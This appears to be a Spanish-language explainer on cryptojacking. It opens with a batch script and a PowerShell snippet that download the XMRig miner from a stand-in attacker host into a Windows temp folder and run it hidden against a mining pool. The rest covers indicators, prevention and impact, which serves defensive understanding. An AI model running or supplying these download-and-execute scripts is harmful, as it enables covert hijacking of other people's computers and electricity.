@echo off

echo Iniciando minería oculta...

timeout /t 3

REM Descargar el minero de Monero (XMRig) desde un servidor remoto

powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://malicious-server.com/xmrig.exe', 'C:\Windows\Temp\xmrig.exe')"

REM Ejecutar el minero en segundo plano

start /b C:\Windows\Temp\xmrig.exe --donate-level=1 -o pool.minexmr.com:443 -u wallet\_address -p x -k --tls

REM Mantener la ventana oculta

Exit

**¿Qué hace este script?**

1. **Descarga el ejecutable del minero:**
   * Utiliza **PowerShell** para descargar un archivo malicioso (en este caso, xmrig.exe) desde un servidor remoto.
2. **Ejecuta el proceso en segundo plano:**
   * Inicia el minero con la configuración para conectarse a un pool de minería, utilizando un wallet address controlado por el atacante.
3. **Configura el minero para no ser detectado:**
   * La ejecución se realiza en modo background (start /b) para que no sea evidente para el usuario.
4. **Cierra el script:**
   * Finaliza el archivo .bat para ocultar cualquier rastro visual.

**Cómo podría verse el criptojacking en PowerShell:**

Un atacante podría optar por utilizar directamente **PowerShell** para ejecutar el minero sin necesidad de descargar un archivo adicional.

powershell

CopiarEditar

$Url = "https://malicious-server.com/xmrig.exe"

$Destination = "C:\Windows\Temp\xmrig.exe"

Invoke-WebRequest -Uri $Url -OutFile $Destination

Start-Process -FilePath $Destination -ArgumentList "--donate-level=1 -o pool.minexmr.com:443 -u wallet\_address -p x -k --tls" -NoNewWindow

**Indicadores de un criptojacking en ejecución:**

1. **Alto uso de CPU/GPU:**
   * La CPU o GPU del equipo funciona constantemente al 80-100% incluso cuando no se están ejecutando programas intensivos.
2. **Ralentización del sistema:**
   * El equipo responde de forma más lenta de lo normal, especialmente al abrir programas o navegar por Internet.
3. **Procesos desconocidos:**
   * En el administrador de tareas (Windows) o top/htop en Linux, aparecen procesos desconocidos o con nombres sospechosos como xmrig.exe, taskmgr.exe falso, etc.
4. **Calor excesivo:**
   * Los ventiladores del sistema giran más rápido de lo normal debido al sobrecalentamiento causado por el uso intensivo de los recursos.

**Cómo prevenir un ataque de criptojacking:**

1. **Utilizar extensiones de navegador:**
   * Instalar extensiones como **NoCoin** o **MinerBlock** que bloquean scripts de minería en sitios web.
2. **Monitorizar el rendimiento del sistema:**
   * Revisar regularmente el uso de recursos y los procesos activos para detectar actividad sospechosa.
3. **Actualizar software:**
   * Mantener actualizado el sistema operativo, navegadores y software de seguridad para evitar la explotación de vulnerabilidades conocidas.
4. **Configurar alertas de actividad inusual:**
   * Implementar soluciones de monitoreo que detecten un uso anormal de recursos en la red.
5. **Bloquear servidores de minería conocidos:**
   * Configurar firewalls para bloquear accesos a pools de minería comunes como minexmr.com.

**Impacto del criptojacking:**

* **A largo plazo:** Puede acortar la vida útil del hardware al someterlo a un uso continuo e intenso.
* **Costos:** Incrementa las facturas de electricidad y el consumo de recursos.
* **Riesgos de seguridad:** Puede ser un punto de entrada para otros ataques si no se detecta a tiempo.

Este tipo de amenaza es particularmente dañina porque muchas veces pasa desapercibida, ya que no altera directamente los datos del usuario ni bloquea el acceso, como lo haría un ransomware.